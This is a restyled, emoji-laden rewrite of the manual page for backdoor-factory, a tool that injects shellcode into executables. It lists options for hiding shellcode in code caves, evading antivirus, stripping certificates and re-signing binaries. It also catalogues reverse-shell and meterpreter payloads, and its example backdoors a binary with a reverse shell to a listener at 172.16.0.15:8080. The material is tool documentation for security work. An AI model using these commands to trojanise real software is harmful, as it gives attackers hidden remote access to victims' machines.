BACKDOOR-FACTORY(1)

๐Ÿ“ฆ version 3.4.2, in ubuntu jammy, ubuntu noble

๐Ÿ’– BACKDOOR-FACTORY ๐Ÿ’–

okay bestie, so this is the manual page for backdoor-factory, from the BACKDOOR-FACTORY(1) manual, and it's giving "security researcher but make it cute". May 2017 energy, but the facts? Immaculate. Let's go. ๐Ÿฆ‹


โœจ NAME โœจ

backdoor-factory โ€” inject predefined or user-defined shellcode in binaries

like... it puts shellcode inside binaries. that's the whole vibe. ๐Ÿ’…


๐ŸŒธ SYNOPSIS ๐ŸŒธ

backdoor-factory [options]

no subcommands, no drama. just options, queen. ๐Ÿ‘‘


๐Ÿ’œ DESCRIPTION ๐Ÿ’œ

backdoor-factory patches executable binaries with the shellcode you want, and then it lets normal execution of the pre-patched state carry on. so the binary still does its little binary things, it just also does your thing now. main character behavior fr fr. โœจ

This tool is for security professionals and researchers only. not a casual toy, bestie. ๐Ÿšจ

okay and here's the tea: this tool doesn't support relocatable ELF executables โ€” that means ones compiled with the -fPIE option, which is the thing the Debian hardening requirements suggest (peep https://wiki.debian.org/Hardening). so no PIE, got it. ๐ŸฅงโŒ

also, some binaries like ssh may not be caved correctly, while binaries like dolphin are โ€” that's true at the time this man page was written. so it's a "your mileage may vary" situation, no cap. ๐Ÿ’€


๐ŸŽ€ OPTIONS ๐ŸŽ€

  • -h, --help โ€” shows this help message and then exits. simple, iconic.
  • -f FILE, --file=FILE โ€” the file you want to backdoor. the chosen one. ๐Ÿซถ
  • -s SHELL, --shell=SHELL โ€” the payloads available for use. use 'show' to see the payloads, bestie, they're right there.
  • -H HOST, --hostip=HOST โ€” the IP of the C2 for reverse connections.
  • -P PORT, --port=PORT โ€” the port to either connect back to (for reverse shells) or to listen on (for bind shells).
  • -J, --cave_jumping โ€” pick this option if you wanna use code cave jumping to hide your shellcode even further inside the binary. sneaky sneaky. ๐Ÿ™ˆ
  • -a, --add_new_section โ€” forces a new section to be added to the exe. better success rate, but less AV avoidance. tradeoffs, bestie. ๐Ÿ˜ญ
  • -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE โ€” user-supplied shellcode. make sure it matches the architecture you're targeting, or it's gonna be a whole mess. โš ๏ธ
  • -c, --cave โ€” the cave flag finds code caves that can be used for stashing shellcode. it prints all the code caves of a specific size. the -l flag can be used with this setting. ๐Ÿ•ณ๏ธ
  • -l SHELL_LEN, --shell_length=SHELL_LEN โ€” for use with -c, to help find code caves of different sizes.
  • -o OUTPUT, --output-file=OUTPUT โ€” the backdoor output file path. the parent dir(s) must exist, so like, make them first. ๐Ÿ’…
  • -n NSECTION, --section=NSECTION โ€” the new section name must be less than seven characters. seven. that's the limit. ๐Ÿ˜ค
  • -d DIR, --directory=DIR โ€” this is the location of the files you want to backdoor. you can make directory-of-file backdooring faster by forcing the attaching of a codecave to the exe with the -a setting.
  • -w, --change_access โ€” this flag changes the section housing the codecave to RWE. sometimes that's necessary. enabled by default. if you disable it, the backdoor may fail. so like... maybe don't. ๐Ÿ˜ฌ
  • -i, --injector โ€” this command turns the backdoor factory into a hunt-and-shellcode-inject type of mechanism. edit the target settings in the injector module. ๐ŸŽฏ
  • -u SUFFIX, --suffix=SUFFIX โ€” for use with injector: places a suffix on the original file so it's easy to recover. thoughtful king behavior. ๐Ÿ’–
  • -D, --delete_original โ€” for use with the injector module. this command deletes the original file. not for use in production systems. (the author is not responsible for stupid uses.) ๐Ÿ—‘๏ธ๐Ÿ’€
  • -O DISK_OFFSET, --disk_offset=DISK_OFFSET โ€” starting point on disk offset, in bytes. some authors wanna obfuscate their on-disk offset to dodge reverse engineering โ€” if you find one of those files, use this flag, after you find the offset. ๐Ÿ”
  • -S, --support_check โ€” determines if the file is supported by BDF before backdooring it. use it by itself or with verbose. this check happens automatically if backdooring is attempted anyway. ๐Ÿฉบ
  • -M, --cave-miner โ€” future use: to help determine the smallest shellcode possible in a PE file. coming soon to a terminal near you. ๐Ÿ”ฎ
  • -q, --no_banner โ€” kills the banner. rip banner. ๐Ÿ’
  • -v, --verbose โ€” for debug information output. loud and proud. ๐Ÿ“ข
  • -T IMAGE_TYPE, --image-type=IMAGE_TYPE โ€” ALL, x86, or x64 type binaries only. Default=ALL.
  • -Z, --zero_cert โ€” allows overwriting the pointer to the PE certificate table, effectively removing the certificate from the binary for all intents and purposes. bye cert. ๐Ÿ‘‹
  • -R, --runas_admin โ€” EXPERIMENTAL. checks the PE binaries for 'requestedExecutionLevel level="highestAvailable"'. if this string is in the binary, it must run as system/admin. if not in Support Check mode, it will attempt to patch highestAvailable into the manifest if the requestedExecutionLevel entry exists.
  • -L, --patch_dll โ€” use this setting if you DON'T want to patch DLLs. it patches by default, so this is the "please stop" flag. ๐Ÿ™…
  • -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY โ€” for MACH-O format. if it's a fat file, this focuses on which arch to patch. default is x64. to force x86 use -F x86, to force both archs use -F ALL.
  • -B BEACON, --beacon=BEACON โ€” for payloads that have the ability to beacon out, set the time in secs. โฐ
  • -m PATCH_METHOD, --patch-method=PATCH_METHOD โ€” patching methods for PE files: 'manual', 'automatic', replace and onionduke.
  • -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY โ€” for onionduke. provide your desired binary. ๐Ÿง…
  • -X, --xp_mode โ€” Default: DO NOT support XP legacy machines; use -X to support XP. by default the binary will crash on XP machines (e.g. sandboxes). ๐Ÿ’ฅ
  • -A, --idt_in_cave โ€” EXPERIMENTAL. by default a new Import Directory Table is created in a new section; calling this flag puts it in a code cave instead. this can cause binary failure in some cases. test on target binaries first! โš ๏ธ
  • -C, --code_sign โ€” for those with codesigning certs wishing to sign PE binaries only. name your signing key and private key signingcert.cer and signingPrivateKey.pem respectively in the certs directory โ€” it's up to you to obtain signing certs. โœ๏ธ
  • -p, --preprocess โ€” to execute preprocessing scripts in the preprocess directory. ๐Ÿงš

๐ŸŒˆ ABOUT THE SHELLCODES ๐ŸŒˆ

there is various predefined shellcode in backdoor-factory. their availability depends on the target type (ELF32, ELF64, PE32...). the shellcodes list is defined below. ๐Ÿ“‹

๐Ÿ’ซ for all intel-based (x86 and x86_64 architecture)

  • reverse_shell_tcp
    • need: a remote host and port to be set
    • permits: remote shell access
  • delay_reverse_shell_tcp
    • need: a remote host and port to be set
    • permits: remote shell access
  • beaconing_reverse_shell_tcp
    • need: a beacon, a remote host and port to be set
    • permits: remote shell access
  • user_supplied_shellcode
    • need: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

๐Ÿง Linux specific shellcodes

  • reverse_tcp_stager
    • need:
    • permits:

๐ŸชŸ Windows PE32 exe shellcodes

  • reverse_shell_tcp_inline
    • needs: a remote host and port to be set
    • permits: remote shell access
  • reverse_shell_tcp_stager_threaded
    • needs: a remote host and port to be set
    • permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
  • meterpreter_reverse_https_threaded
    • needs: a remote host and port to be set
    • permits: meterpreter over https transport
  • user_applied_shellcode_threaded
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode
  • iat_reverse_tcp_inline
    • needs: a remote host and port to be set
    • permits:
  • iat_reverse_tcp_inline_threaded
    • needs: a remote host and port to be set
    • permits:
  • iat_reverse_tcp_stager_threaded
    • needs: a remote host and port to be set
    • permits: Inject the meterpreter server DLL via the Reflective Dll Injection payload
  • iat_user_applied_shellcode_threaded
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

๐ŸชŸ Windows PE64 exe shellcodes

  • delay_reverse_shell_tcp
    • needs: a remote host and port to be set
    • permits: remote shell access
  • reverse_shell_tcp
    • needs: a remote host and port to be set
    • permits: remote shell access
  • beaconing_reverse_shell_tcp
    • needs: a beacon, a remote host and port to be set
    • permits: remote shell access
  • user_supplied_shellcode
    • needs: a user-defined shellcode ready to inject
    • permits: depend on the shellcode

โญ EXAMPLES โญ

example of cavecoding an ELF binary, by integrating a remote shell access through a remote TCP listener (e.g. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

on the host behind the IP 172.16.0.15, start netcat in listen mode:

$ netcat -l 172.16.0.15 8080

on the target, start the backdoored binary: ./backdoored/dolphin

now, on the host 172.16.0.15, just use your shell. and that's it. you ate. ๐Ÿ”ฅ


๐Ÿ“œ HISTORY ๐Ÿ“œ

May 2017, originally compiled by Philippe Thierry (phil at reseau-libre dot com). ๐Ÿซก


and that's the whole page, bestie! ๐Ÿ’– written by Philippe Thierry for the Backdoor-Factory Man Page, dated May 2017, sitting pretty in section BACKDOOR-FACTORY(1). go forth and be a responsible security professional, ily, mwah. ๐ŸŽ€๐Ÿฆ‹๐Ÿ’…

๐Ÿ“ฆ where this page comes from